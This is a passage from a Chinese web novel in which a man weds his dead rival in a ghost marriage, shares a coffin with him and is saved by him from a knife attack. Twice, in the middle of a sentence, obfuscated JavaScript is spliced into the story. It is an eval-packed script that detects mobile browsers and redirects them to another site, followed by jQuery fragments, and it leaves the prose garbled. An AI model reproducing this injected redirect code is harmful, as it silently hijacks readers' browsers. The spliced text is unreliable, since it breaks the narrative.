“不行不行,那小子阴气太重,葬在雾山里不吉利的,以后咱们村还怎么敢去山里头种菜挖笋哪?”
柳相宜微微一笑:
“村长开个价吧,多少钱才能允许他葬在雾山?”
村长连连摆手:
“这不是钱不钱的问题,你大概不知道,那小子的妈当年难产,结果孩子没生出来就咽气了!他是自己爬出来的,村里老人说那是鬼胎……”
柳相宜微笑继续:
“100万行吗?”
村长眼神动摇了一下,又道:
“不是,鬼胎这玩意儿真的很邪门,他外婆养他没几年就死了,之后收养他的小姨一家也疯了!他要葬雾山,钟家村的风水都要变差了!”
柳相宜推了推鼻梁上的墨镜:
“500万怎样?”
村长:“……”
谈妥下葬事宜后,柳相宜又雇了钟家村一批人,抬棺材,吹唢呐,还有帮忙哭的,一行人浩浩荡荡,在黄昏时分,把钟秦淮风光大葬了。
葬在他外婆和妈妈的墓碑旁。
钟家村的人离开后,就剩柳相宜一个人留在墓碑前。
柳相宜突然不合时宜地想到钟秦淮的那支手机,那小子的手机里只存了自己一个人的号码。
当时警察怎么说来着?
说他亲人死的死了,疯的疯了,已经没有能来领取遗物的家属了。
脑子里又闪过久远的一幕。
那是刚上小学不久,他去器材室拿球时,看到里边有人在打架。
更准确的说,是五六个同龄的小男孩,把另一个堵在角落里围殴,个个手持扫把用力猛打。
但另一个也不是善茬,跟五六个扭打在一起,最后竟然打得那五六个扫把一丢,嗷嗷叫地跑出来。
看到柳相宜要进去拿皮球,那五六个停下来拉住他,七嘴八舌道:
“你进去之后可别靠近他啊!我妈说了,他是鬼胎,靠近他是要倒大霉的!”
“对对对!我就是钟家村的,我可以作证!我们那个村子都知道!”
“跟他在一个学校是要触霉头的,我们想把他赶出学校,你要不要和我们一起?”
他那时昂着小下巴道:“一群胆小鬼,小柳儿才不怕呢。”
他刚走进去脚步就顿住了!
没想到墙角坐着的那个小男孩被打得这么惨。
白皙的小脸蛋上鼻青脸肿,一缕鲜血顺着他的额角流了下来。
好可怜哦。
他鬼使神差地朝他走过去。
那小男孩见状,眼神又瞬间变得警惕,浑身紧绷,拳头攥起。
就在他准备暴起揍人时,柳相宜从兜里摸出了一根棒棒糖递过去:
“吃吗?超甜的!”
见那小男孩愣住,也不伸手把糖接过去,他撇撇嘴,又道:
“你也是胆小鬼吗?连个棒棒糖都不敢吃?”
一股风刮来,将柳相宜从久远的记忆里吹回了现实。
这风冷飕飕的。
不会是阴风吧?
他刚这么想,钟秦淮就出现了。从旁边那片树林里走出来,悄无声息地,一点脚步声都没有。
还叼着一根棒棒糖。
柳相宜:“……”
呵。
明明小时候第一次见面,他对这小子很友好的,还送他东西吃,谁知反而被他盯上了,之后就跟盯仇人似的,天天盯他。
柳相宜还是不理解:“钟总,我究竟哪里得罪过你?”
“我怎么记得柳总上次问过?”
钟秦淮施施然地走过来,在柳相宜旁边站定,拖长语调啊了一声:
“上次我赢了,所以柳总错失了知道答案的机会,真是遗憾。”
这得意的语气!
柳相宜深吸一口气,算了,不跟他打嘴炮,他还有正事要办。
柳相宜微笑道:
“钟总,说到胆量这件事,我上次飙车是输给你了,但钟总有胆量再跟我比一次吗?”
钟秦淮余光含笑瞥他一眼:
“比什么?”
“敢不敢和我睡一起?”
柳相宜刚说完,就看到旁边的钟秦淮表情有一瞬间的微妙。
他挑衅地扬眉道:
“怎么,钟总不敢啊?”
钟秦淮嘴角缓缓勾起。
这表情柳相宜太熟悉了!
这小子指不定又开始作妖了!
果然,钟秦淮抬起手,打了个响指,一股阴风吹来,把柳相宜吹眯了眼,等他再次睁开时,自己竟然出现在了一个卧室里。
卧室正中央放着一口棺材。
很宽。
足以躺得下两个人。
钟秦淮悠悠道:
“柳总,我们做鬼的晚上睡觉只睡棺材的,柳总敢和我躺进去吗?”
柳相宜:“……”
这小子真是先天卷王圣体。
当鬼了还在和他卷。
并且,还丧心病狂地加码了。
4. 第 4 章
卧室里没有开灯,厚重的窗帘被拉上,只在细缝中流泻进几缕月光,斜照在那口巨大的棺材上。
棺材是由暗色的紫檀木制作而成,棺材盖上还绣着繁复的花纹。
仿佛一头蛰伏的巨兽,在漆黑的卧室里等待唤醒,让人毛骨悚然。
不知道这卧室里怎么有这么一副巨大的棺材,柳相宜不敢问,柳相宜也不敢说。
他只能强装淡定,在卧室里走了一圈,飘窗、大衣柜、洗手间。
柳相宜甚至还在书桌上看到一罐棒棒糖,五颜六色的。他颇有些意外地看向钟秦淮:
“钟总,你们阴间的鬼不应该住在墓园或者荒郊野外吗?你这也太拟人了吧?”
钟秦淮倚在门边挑眉笑答:
“柳总想在那些地方睡啊?我也可以满足你,绝对惊悚刺激。”
柳相宜:“……”
既然都走到窗户边了,柳相宜顺便把窗帘拉开了。“刷”地一下,视野顿时清晰了起来!
这竟然是在半山腰!
今晚月亮很圆,月光洒在山间那一大片黑魆魆的森林里。沿着山间往下看,山脚下便是钟家村。
夜色下,家家都还亮着灯,星星点点的,像一大片闪烁的银河。
柳相宜顿时知道自己在哪了。
今天下葬时他就听说了,因为村民们觉得钟秦淮出生晦气,就把他和外婆从村子里赶出去了。
所以钟秦淮从小就跟着外婆住在山腰上,想必就是这栋了。
“所以柳总敢睡在这吗?”
柳相宜定了定神,转身道:
“睡棺材而已,有什么不敢的?不过既然要在这里睡,那我回去拿点东西再过来很合理吧?”
钟秦淮笑了。
抬手打了个响指。
下一秒,正对着主卧的那间客房门“吱呀”一声徐徐开启。
柳相宜循声望去,那扇房门打开后,里边的布局竟然和他家客厅一模一样!
他快步走进去,这浅绿色的墙壁!这餐桌沙发的摆放位置!就连茶几上还放着他前天买回来的肉松面包。
什么一模一样?
这就是他家客厅!
柳相宜又转悠了一圈,他的卧室,书房,洗手间,厨房全都在。
他终于转明白了,就跟电影里那种“魔法之门”一样,那个客房门,一边联通着钟秦淮这栋别墅,一边联通着他家那栋别墅。
钟秦淮倚在他自己的主卧门口,离柳相宜的家门口就隔了一个过道:
“所以柳总,十分钟够吗?”
柳相宜:“……”
离大谱了!
做了鬼之后还有这种能力吗?
柳相宜洗漱完,又跑去书房工作会儿冷静冷静。
直到咚咚咚——
书房门被轻敲了三下,钟秦淮姿态闲散地倚在门边,似笑非笑道:
“柳总,咱们是不是该睡了?”
柳相宜:“……”
窗外夜色深深,主卧的氛围却有些诡异。钟秦淮抱臂站在棺材旁,眸子里泛起一丝玩味:
“刚才忘记问了,不知道柳总说的睡一起,是哪种睡法?”
柳相宜:“?”
他不自在地轻咳一声:
“钟总,关系不一样,睡法也自然不一样,以目前咱俩的关系,一人一边互不接触的那种睡法最适合。”
钟秦淮闻言挑眉看向他,那表情柳相宜太熟悉了!
生怕这小子冒出一句“那其他的睡法柳总是不敢跟我试吗?”,柳相宜立刻推开那副棺材盖。
棺材盖是厚重的紫檀木做的,推开时发出沉重的声响。
“嗡——”
像一只活了千年的怪兽在低吟。
听得柳相宜眉心一跳。
棺材推开后,为显示自己的胆量和勇气,柳相宜率先躺进去了。
没想到床单下边竟然铺着一个厚厚的床垫,柔软到柳相宜甚至有种躺在自己床上的错觉。
他调整好睡姿,睡在棺材里的一侧,留出一半的空间,之后,拍了下旁边的空位,抬眸冲钟秦淮露出一个挑衅的微笑:
“钟总敢跟我睡一起吗?”
钟秦淮唇角微弯,只轻轻一抬手,主卧的灯便灭了,厚重的窗帘也“咻”地自动拉上了。
整个房间顿时陷入一片黑暗。
旁边的床垫微陷。
是钟秦淮躺下来了!
柳相宜的身体有一瞬间的僵硬。从小到大,这还是他第一次跟别人睡一起,顿时有些不自在。
这小子果然够卷的!为了赢,居然能忍受和死对头躺一起。
柳相宜余光瞟他一眼,钟秦淮个子高,手长脚长的,几乎从棺材的床头抵到床尾,存在感太强了!
柳相宜决定闭眼。
装睡!
卧室里好安静,静到柳相宜总觉得哪里不对劲。他闭着眼睛思索了会儿,瞬间睁开了眼!
他竟然听不见钟秦淮的呼吸声。
一丁点儿都没有!
柳相宜悄悄转头一看,那小子胸膛竟然没有一点起伏!
整个身体一动不动。
就跟死了一样。
不,他本来就死了。
闭着眼睛,双手交叠搁在腹部上,那副安详沉静的标准睡姿,就跟躺在太平间一样,就差没在身上盖块白布了!
柳相宜深吸一口气,呼吸间,一丝香气飘进了他的鼻尖,悠远得像得道高僧在念经文般的香气。
是紫檀棺木散发出来的。
香气中还夹杂着一丝凉意,这股冰凉凉的气息就是从旁边飘过来的,像张无形的大网,将他一点点笼罩。
顿时有种呼吸不过来的错觉。
柳相宜蹭地一下坐起身。
下一秒,旁边就传来幽幽的轻笑声:“怎么,柳总不行了?”
柳相宜轻咳一声:
“我起来拿个东西。”
把耳机拿来又重新躺下。
已经凌晨一点,柳相宜还一点睡意也无,只好和往常一样,熟练地摸出耳机塞耳朵里,很快一道温和苍老的声音传入耳中:
“春天喝什么茶最适合养生呢?老中医给大家伙儿讲讲……”
柳相宜正漫不经心地听着,忽然,右边的耳机被人取走了。
柳相宜:“?”
扭头一看,钟秦淮把取走的耳机塞进了他自己的左耳里。
柳相宜:“礼貌吗钟总?”
黑暗中飘出钟秦淮散漫的笑意:“柳总,都结婚了,分只耳机都不肯的话是很容易被离婚的。”
柳相宜一怒之下怒了一下。
又转念一想:
老中医声音温和,语速和缓,最适合拿来催眠了,如果能让钟秦淮早点睡也好。
他待会儿还有正事要干呢。
想到这,柳相宜眸子里闪过一丝狡黠:“钟总敢和我再比一比么?”
“比什么?”
“比谁更先睡着。”
钟秦淮悠悠道:
“柳总,经常当鬼的都知道,我们鬼晚上是不睡觉的。”
柳相宜道:“正因为这样才更有挑战性不是吗?还是钟总不敢跟我比?”
钟秦淮凉凉的声音再次飘来:“柳总突然跟我比这个,目的呢?”
柳相宜还记着上次飙车的仇,他把当时钟秦淮的那两句话还给他:
“钟总想知道啊?”
“赢了我就告诉你。”
“所以钟总敢和我赌吗?”
数秒后,旁边飘来一道声音,带着一丝笑意,低低的,在夜色里听得竟然有几分温柔:
“赌。”
柳相宜嘴角微扬。
很好。
他只需要耐心等着就行。
耳机里,老中医还在讲他的春季养生,柳相宜盯着天花板。
他们柳家人因为那个诅咒,阳气过剩,都患有失眠症。
尤其他还是极阳体质,导致他打小精力过于充沛,晚上很难入睡,每次都要后半夜才勉强生出睡意,所以养成了听养生节目催眠的习惯。
漫长的养生节目结束后,柳相宜心思开始活跃了:
都三小时了。
这小子该睡了吧?
他小心翼翼地扭过头去,然而室内一片漆黑,他也无法确定钟秦淮到底睡了没。
只好悄悄起身,半支起身体垂眸一看,猝不及防地与那双浓墨般的眼眸对上。
柳相宜:“!”
这小子还睁着眼睛。
眼神清明。
哪有半点睡意?
柳相宜:“……”
尴尬了。
他眼珠子飞快运转了一圈,接着,强装淡定地把塞在钟秦淮耳朵里的那支耳机取走:
“养生节目听完了。”
钟秦淮转过头来望着柳相宜,饶有兴致地看他:
“所以柳总还没睡啊?柳总这样确定能赢我吗?”
“钟总不也没睡吗?”
柳相宜取完耳机继续
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392249|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
躺下,发现旁边那道视线还一直盯着他。
生前就盯他跟盯仇人一样,死了之后,眼神里更是多了一丝阴湿和冰凉,像沼泽里湿漉漉的水草,缠绕在柳相宜身上。
柳相宜强压着那股微妙的不适,道:
“钟总,你这做鬼才几天,不会就已经忘记怎么当人了吧?”
语气又带着一丝试探:
“鬼真能一晚上不睡觉?”
柳相宜眼睛里“希望他睡着”的期待太明显了,钟秦淮意味不明地哂笑一声:
“鬼是这样的,但为了赢,柳总放心,绝对会比你先睡的。”
柳相宜满意了,又伸出一只手,强硬地把钟秦淮的脑袋扳正。
好在钟秦淮倒也听话,让他望着天花板他就望着,也没再转过头来盯他了。
柳相宜又躺了很久,直到窗外传来淅淅沥沥的夜雨声。
很有催眠效果。
这场春雨不知道下了多久,久到柳相宜感觉好像下了一百年,把八辈子的雨都下完了。
这小子那么卷,为了不输给他什么都做得出来。上次飙车,更是为了赢连命都不要。
现在该睡了吧?
柳相宜又悄然起身,垂眸一看,这小子双眼合上了。
他暗自松了一口气。
但一想到那个所谓的“吸阴气”的吸法,柳相宜又犹豫了,努力做了一番心理建设,这才逐渐凑过去。
伏在钟秦淮的上方。
柳相宜深吸一口气。
低头。
一点点往下。
近了近了!
离钟秦淮的唇就剩一个拳头的距离时,钟秦淮像是察觉到了什么,咻地睁开了眼。
柳相宜:“!”
钟秦淮:“……”
两人四目相对。
最怕空气突然安静。
柳相宜摸了摸鼻子,淡定起身,跪坐在床上:
“钟总,虽然当鬼了,但也不要忘记怎么做人。”
他被自己这番话给乐了,说完,又镇定自若地把被子扯了一半过去,盖在钟秦淮身上,话锋一转:
“那什么,刚才下雨了,我怕你冷分一半给你,快谢谢我。”
钟秦淮那双眸子静静地盯着柳相宜,几秒后,嘴角漾起一丝弧度:
“是吗?”
柳相宜躺回去,理不直气也壮,把刚才钟秦淮怼他的还回去:
“钟总,这么以小人之心度君子之腹,是很容易被离婚的。”
不等钟秦淮回答,柳相宜又摸出手机一看,凌晨4点了!他转头,微笑中含着浓浓的威胁:
“钟总您老人家怎么还不睡呢?是准备输给我了吗?”
黑暗中,钟秦淮漫不经心的声音响起:“我看柳总也不像是想赢的样子。”
柳相宜:“……”
又接着躺尸!
躺到柳相宜这个失眠症患者都要昏昏欲睡了,眼皮子沉沉的,眼看就要合上,柳相宜强行抬手,用手指撑开。
不能睡!
还有任务要完成!
柳相宜悄摸摸拿起枕头旁边的手机一看,凌晨5点了!
那小子这下该睡了吧?
但一想到刚才那两回“吸阴气”都失败了,柳相宜这回多了个心眼,起身后,先是用气音试探了一声:
“钟总?”
没有醒。
非常好。
接着,他又轻轻推了一下,手刚触到钟秦淮胳膊皮肤的那一瞬间,柳相宜被凉了一下。
没反应。
特别好!
确定真睡了,柳相宜这才俯下身,逐渐靠近他。离钟秦淮的唇就剩一根手指的距离了,柳相宜深吸一口气。
闭上眼。
轻轻往下一贴。
碰到了两片薄软的东西。
好凉。
有种雪花落在唇上的错觉。
柳相宜贴着钟秦淮的唇,贴了一会儿,很快就感觉到了不一样。
从钟秦淮的唇缝间溢出丝丝凉气,顺着他的唇飘了进去。
柳相宜:“!”
就好像炎热的夏天,刚跑完马拉松,热得要爆炸了,整个身体突然浸泡在冰凉的泉水中一样。
身体每个毛细孔瞬间都舒服地张开了,凉爽惬意得很。
这就是所谓的“阴气”吗?
柳相宜生怕惊醒了他,只贴了两三秒,就又悄然躺回去了。
却没留意到他躺下的那一瞬间,旁边的人缓缓睁开了眼。
5. 第 5 章
次日,柳相宜一睁开眼,就感觉到了不对劲。有道强烈的视线落在自己脸上。
那目光仿佛长在深潭边的青苔,幽森森的,湿漉漉地黏在他脸上。
柳相宜扭头一看,钟秦淮靠坐在棺材里,那张苍白的脸隐匿在黑暗中,正悄无声息地,幽幽地盯着他。
他蹭地一下坐起身:“钟总,这样一直盯着别人还不出声很吓人的好吗?”
钟秦淮嘴角勾起一丝别有深意的笑:“这么容易被吓到,柳总昨晚不会是做了什么亏心事吧?”
柳相宜掀被子的动作一顿。
蓦地想起昨晚自己对钟秦淮做了什么,他轻咳一声,故作淡定地掀开被子,起身从棺材里出去。
理不直气也壮地转移话题:
“钟总昨晚比我睡得早,但就第一天而已,我可不承认我就这么输了,钟总还敢和我继续比吗?”
话音刚落,他就看到钟秦淮的表情有一瞬间的微妙。
柳相宜:“?”
就一眨眼的功夫,钟秦淮又恢复了那副漫不经心的表情,好似方才微妙的那一瞬只是柳相宜的错觉。
柳相宜没多想,弯腰把棺材里的手机和耳机拿出来,起身微笑道:
“怎么,才睡了一天,钟总不会就不敢和我睡了吧?”
说完,他又看到钟秦淮的表情有一丝丝古怪了。
这回不是错觉。
不过他也来不及琢磨钟秦淮脸上的表情到底是几个意思,他得去公司上班了。
柳相宜离开后,一只小乌鸦悄然飞来,落在窗台上,撩开厚重的窗帘,探出一个小小的脑袋来。
随即小爪子一挥,下一秒,爪子上就凭空浮现出了一个小本子。
巴掌大小。
小乌鸦尖尖的喙一开一合,发出稚嫩的童音,仿佛一个人类幼崽,刚学会说话,还带着点不熟练的结巴:
“你外、外婆嗦了,每天叫我给你念、念一遍。”
接着熟练地翻开第一页,宣读上面的内容,跟小太监宣读圣旨似的:
“不许跟人类亲、亲近。”
“也不能跟人类谈、谈恋爱……”
虽然听过很多遍了,但每次钟秦淮都听得很认真,这是外婆魂飞魄散前留给他的遗言。
小乌鸦念完后生气地踩了踩窗台:“阿、阿淮不听话,跟那个人类结芬了!”
钟秦淮看了一眼关闭的主卧房门,随即懒洋洋道:
“只是结了个婚而已,又没谈恋爱,不算违反规定吧?”
小乌鸦:“?”
见小乌鸦歪了歪脑袋,一副努力思索的样子,钟秦淮摸出手机,点开备忘录,随即把手机飞过去。
小乌鸦用两只爪子接住了飞来的手机,点开屏幕,艰难地识字:
“婚姻是爱情的坟墓……”
第一句话就让小乌鸦倒吸一口气,金色的竖瞳顿时瞪圆了!
坟墓?
看到这两个字,它一知半解地表示:看来在人类社会,这结芬不是什么好东西。
继续往下看。
“守着一段无爱的婚姻,两人还要每天睡在一张床上,那每个晚上都将是一种漫长的酷刑……”
小乌鸦:“!”
“好、好可怕!”
小乌鸦吓得爪子微微发颤,险些让手机掉下去。
“所以你想多了!”钟秦淮凉凉道,“昨晚我和那位柳总睡一起,对那位柳总而言,与其说是亲近,倒不如说是一种折磨。”
小乌鸦歪了歪脑袋:对哦,和死对头睡一起,那可是妥妥的精神酷刑了!
这种折磨人的方法,是谁发明的?
小乌鸦仔细一瞧,手机上的备忘录显示,这段话竟然是阿淮外婆写的!
小乌鸦顿时想起来了,阿淮外婆死了之后去阴间跟它说过,阿淮小时候,她就经常给阿淮讲一些睡前故事。
他们这一支钟家人,从阿淮这里往上数到十八代,全都是清一色的超绝恋爱脑,妥妥的情种兼大怨种,所以没一个有好下场。
现在阿淮可是他们这一支的独苗苗,可不能再重蹈先辈祖宗们的覆辙了,既然他外婆在阿淮小时候就这么悉心教导了……
它!
作为阿淮第六代祖叔爷爷!
更要用心守护!
小乌鸦把发散的思维收拢回来,小小的脑袋开始努力思索:
没有谈恋爱,只结婚了而已,好像、大概、应该第二条确实没违反。
但第一条……
小乌鸦又把金色竖瞳瞪圆了!
“阿淮昨晚跟那个人类一起睡、睡棺材啦,我、我都看见啦!”
两人睡一起,算不算亲近?算不算违反第一条戒规?
钟秦淮闻言一怔,随即笑答:
“祖叔爷爷,在你那个保守的古代社会也许是这样,但现在时代不一样了,现在这个人类社会,随便两个陌生人看对眼了,就可以睡一起,这种行为算不得亲近。”
小乌鸦:“?”
小小的眼睛。
大大的疑惑。
钟秦淮迟疑了一下,又道:
“再说了,我昨晚跟他睡,只是想知道那位柳总跟我冥婚的目的而已。”
小乌鸦:“!”
顿悟了!
这个人类突然跟阿淮冥婚,肯定有不可告人的目的!
阿淮跟他睡一起,是为了暗地里观察他!刺探他!好知道他打的是什么坏主意!
小乌鸦气呼呼地扇了扇翅膀:“人类真狡诈,还、还是阿淮聪明!”
又问:“所、所以阿淮昨晚打探到了这个人类的目的没?”
钟秦淮:“……”
他支着下巴,略略思考了几秒,眸子里罕见地流露出些许迷茫:
“你也说了人类很狡诈的,才一天而已,今晚再看看。”
小乌鸦这才满意地收起小本本,骄傲地抬头挺胸。
阿淮外婆在阿淮八岁那年死了,就剩阿淮一人在阳间,外婆急得不行。
刚去阴间地府,就把他们钟家这一支的祖宗十八代全找了一遍,磕头跪哭,说要请老祖宗出面,帮忙去照看她那可怜的小外孙。
最后以他们老钟家祖宗十八代集体魂飞魄散的代价,让它这个本来投胎到畜生道的乌鸦开了灵智,承担起了照顾这个小小小辈的重任。
在它的照料和监督下,阿淮超乖的!没跟人类谈过恋爱,也没跟任何一个人类亲近过。
唯一一个经常接触的人类,还是他的死对头,关系可差啦!
小乌鸦放心了,把小本本收起。
柳城多雨,尤其是春天,柳相宜开车途中,往车窗外瞥了一眼:
一大早,天就阴沉沉的,乌云密布,看起来马上就要下雨了。
就在这时,柳宴池的电话打来了:“三弟,吸阴气的事儿有进展没?”
柳相宜:“……”
脑子里瞬间浮现昨晚“吸阴气”的那一幕,他整个人都不好了。
见柳相宜沉默,柳宴池喜气洋洋地安慰他:
“没事儿,二哥我这有进展了!昨晚睡不着又熬夜炼了一种八仙长寿丹!三弟你要不来试吃一下?!”
柳相宜:“……”
八仙长寿丹?
听名字就有亿点不靠谱。
柳相宜婉拒了。
最后柳宴池又提醒他:
“之前我不是说冥婚之后你可以对那只鬼随叫随到嘛,要是遇到危险了,你在心里默念一下他的名字,他就会出来。”
柳相宜呵了一声。
以他俩这种死对头关系,就算出来了,也只会在旁边看他笑话吧?
和二哥打完电话,柳相宜也正好到了公司,将车停在柳氏集团大厦的停车场里。柳相宜刚下车,旁边就冲出一个黑影:
“是你逼我的!”
他定睛一看,是上次那个迟到了没签成合同的张总!
他手持一把匕首,从拐角处蹿出来,匕首闪着寒光,正朝柳相宜的肩膀上扎去。
柳相宜:“!”
现在念那小子的名字还来得及吗?
眼看那把匕首离柳相宜的肩膀只差一个拳头的距离了,就在这千钧一发之际,诡异的一幕出现了!
匕首突然静止了。
仿佛按了暂停键,堪堪悬停在了柳相宜的肩膀上方。
柳相宜也像被定住了。
维持着低头看匕首的姿势一动不动,那双乌黑明亮的眸子停留在微微睁大的瞬间,瞳孔里还残留着即将被匕首扎进肩膀的恐惧。
不仅匕首和柳相宜,整片区域也宛如被按下了暂停键。
拿匕首的张总停在面孔狰狞,蹦起来双脚离地的那一瞬间。
不远处正要往停车场开来的数辆车子被骤停,在马路上卡成了残影。
就连细细密密的雨点也全都一滴一滴地,停在了半空中。
不仅时间停止了,声音也是。
张总的怒吼声、汽车轮胎碾磨马路发出的嘈杂声,附近工地的搬砖声,全在方才的一瞬间蒸发掉了。
整片区域末日般死寂。
紧接着,脚步声从不远处响起。
哒、哒、哒。
有人撑着一把大黑伞,从停车场拐角走出来。那把大黑伞的伞檐压得很低,低到把整张脸都遮住了。
看不见撑伞人的面容,只能看到撑伞的那只手因为高高举起的缘故,袖口滑落,露出一截苍白的手腕。
那一小片皮肤白得晃眼。
在黑色伞骨的衬托下,如深秋早晨最寒意逼人的一抹白霜。
白得甚至连手背上幽青的血管都若隐若现,透着一股病态的、长久不见阳光的阴郁气息。
大黑伞里边,一只小乌鸦乖巧地趴在他左肩,金色竖瞳滴溜溜地望着静止的四周。
小眼睛充满了迷惑。
随即尖尖的喙开口道:
“阿、阿淮,你突然时空静止干森么?你这样很容易暴、暴露身份哒!”
钟秦淮懒散的调侃声响起:
“就是为了不暴露身份,才时空静止啊。”
路过柳相宜,钟秦淮伸手,将他肩膀上方的那把小匕首取了下来。
小乌鸦见状,那双金色竖瞳立即瞪圆了!大声提醒:
“不、不能跟人类亲近哦!阿淮还帮、帮他干森么?”
“我看起来是那种很善良的鬼吗?”
钟秦淮笑了一声,瞥了那位张总一眼,狭长的丹凤眼里闪过一丝鄙夷。
随即,像是为了验证他方才的那句话,将那把小匕首插在了张总的左肩上。
“噗呲”一声,顿时血流如注。
与此同时,钟秦淮云淡风轻的声音也一同响起:
“现在还觉得我善良吗?”
小乌鸦:“!”
是不善良。
但好像哪里不对劲?
但!都怪自己投胎成了一只小乌鸦,脑容量太小了,经常脑子转不过来。
小乌鸦脑子转了转,又忽然想到什么,仰起小脑袋看了看天色,道:
“虽然现在没有太、太阳,但保不准待会就有了!要是被阳光晒到就完蛋啦!阿淮白天出来干森么?”
钟秦淮施施然地走到柳氏大厦门口旁,环视一圈,像是满意自己现在站的这个位置,他站定,散漫笑答:
“当然是来找这位柳总冥婚的目的了!所以,待会我无论做什么,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392250|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不算违反第一条规定吧?”
小乌鸦:“?”
不等小乌鸦反应过来,只听见“咻”地一声,一团黑雾之后,钟秦淮消失了,取而代之的是一只小黑猫。
没法站在钟秦淮肩膀上了,小乌鸦立刻扑腾着翅膀,飞落进旁边的一棵柳树上。
紧接着,那只小黑猫抬了下小爪子,像是按下了“重启键”一样。
马路上的车辆突然被解冻,继续开进停车场。
就连方才停滞在半空中的雨点也咻地继续往下落。
砸在了柳相宜的鼻梁上。
柳相宜:“?”
他眨了眨眼,终于回过神来了,他记得刚才有人拿着匕首朝他冲过来了!
柳相宜瞬间反应过来,正要给面前的张总一个过肩摔。刚攥住他肩膀,张总就疼得面容扭曲,哎哟哎哟地惨叫。
柳相宜意识到不对劲,松开张总的肩膀一看,那个张总不知为何,另一只肩上插着一把小匕首,流下来的鲜血把整条胳膊都染红了。
柳相宜:“?”
张总一边痛得龇牙咧嘴,一边不可置信地狠狠盯着柳相宜:
“不可能!”
他颤抖地咆哮道:
“绝对不可能!”
他明明马上就要刺中他了!
他明明亲眼看见那把匕首快要插进这小子的肩膀上,怎么反而插到自己肩上了?
他状若癫狂,还想朝柳相宜扑过去,被闻讯赶来的保镖给拦下拖走处理了。
柳相宜还停留在原地。
刚才他也明明看见那把匕首马上就要扎进自己的肩上了,怎么跑他肩膀上去了?
这不科学!
唯一的解释是……
柳相宜环顾四周,并没有看见钟秦淮的身影。但这么不科学的事,除了鬼以外,没办法解释。
没想到那小子真会救他一把,柳相宜眸子里闪过一丝讶异。
然而来不及多想,雨势渐大,柳相宜迅速往柳氏大厦的大堂门口走去。
刚要进去,余光不经意瞥了一眼,柳相宜脚步陡然顿住。
门口台阶上蜷缩着一只猫!
非常罕见的黑猫。
浑身上下都是纯正的黑色,像在墨水里滚了一圈,只有眼睛是澄澈的黄色。
它小小一只,被豆大的雨点砸到也不知道跑,还可怜巴巴地垂着小脑袋,低低地“喵”了一声。
声音听起来弱小可怜又无助。
眼见暴雨就要来了,柳相宜弯腰,一把将它捞起来,抱着走进了大堂。
让柳相宜感到惊讶的是,这只小黑猫竟然意外地听话。不挣扎,也不咬人,就乖乖地窝在他怀里,任由他抱着,就是……
小脑袋昂得高高的。
颇有种被柳相宜抱着去巡山的,那种山中大王的高傲感。
柳相宜:“……”
这小猫……
是不是把自己的物种搞错了?以为自己是山中小老虎吗?
大堂旁的柳树上,眼见那只小猫被抱走了,小乌鸦炸毛了,不能让阿淮亲近人类!
正要展翅飞过去,又猛地想起他变猫之前的嘱咐,小乌鸦又把翅膀收拢了。
阿、阿淮这不是在亲近人类!
是在暗中探查这个人类呢!
柳相宜浑然不觉身后那只小乌鸦的异样,他本想把小猫抱给前台照料的,但见小猫如此乖巧,一不小心就一路抱过去了。
刚进电梯,他就收到了二哥柳宴池求救的微信:
“天塌了!冥婚的事被大哥知道了!三弟赶紧编个理由跟他解释吧,不然大哥就要杀到我这里来了!”
不等柳相宜回复,手机就响了!刚一接起,手机那边就响起一道元气满满热情开朗的声音:
“我超级可爱的三弟早上好,但我今天早上很不好你猜为什么?”
柳相宜:“……”
电话里的人似乎等不及柳相宜回复就立刻接着说了,语气瞬间一变,痛心疾首:
“我这么帅这么可爱的三弟,怎么能跟个死人结婚呢?三弟啊,你实话实说,是不是为了大哥才……”
怀里的小猫瞬间竖起了耳朵。
柳相宜没留意,他的注意力全在这通电话上了。脑子里飞速运转,很快就说道:
“大哥应该知道吧?我那个冥婚对象我从小就认识了……”
“我知道,他还是你的死对头!”
自家弟弟为了自己实在是牺牲太多了!这么一想,电话里的柳家大哥更是呜呜呜地心痛了。
听见电话里大哥沉痛又愧疚的哽咽,柳相宜咬咬牙,拼了!
他唇角弯起,微笑道:
“是这样的,我其实暗恋他很多年了,但大哥你知道的,他不喜欢我,所以我一直不敢跟他表白,只能故意跟他又争又抢的,吸引他的注意力。”
电梯“叮”地一下开了,柳相宜抱着小猫走出电梯,继续道:
“所以他死了,我跟他冥婚也算是圆了我的一个念想了……”
终于把大哥安抚好了。
柳相宜松了一口气,随即环顾左右,钟秦淮那小子没在这吧?
要是被他听见自己刚才这番话,岂不是要被他嘲笑到下辈子?
虽然他这些话是临时胡编乱造的,但死对头暗恋自己这种事,柳相宜能想象得到如果被钟秦淮听见了,那小子的表情会有多得意!
幸好他没在。
柳相宜暗自庆幸,随即走进办公室,准备把小猫放下后开始工作。刚一低头,就看到小猫也在仰头看他。
小脑袋好像比之前昂得更高了!
尾巴也一甩一甩的,透着一股得意。
柳相宜:“?”
6. 第 6 章
这小猫怎么突然这么开心?
然而来不及等柳相宜琢磨,秘书就过来敲门了:“柳总,客户到了。”
柳相宜把这只猫留在办公室里,走进会议室一看,脚步微微一顿。
会议室里的客户他认得。
高中同过班,后来转学了。柳相宜之所以对他有印象,是这位同学在高中是公开出柜第一人,并对钟秦淮那小子展开过疯狂的追求。
柳相宜收拢心神,淡定地走进去,微笑朝他伸出手:“你好张总。”
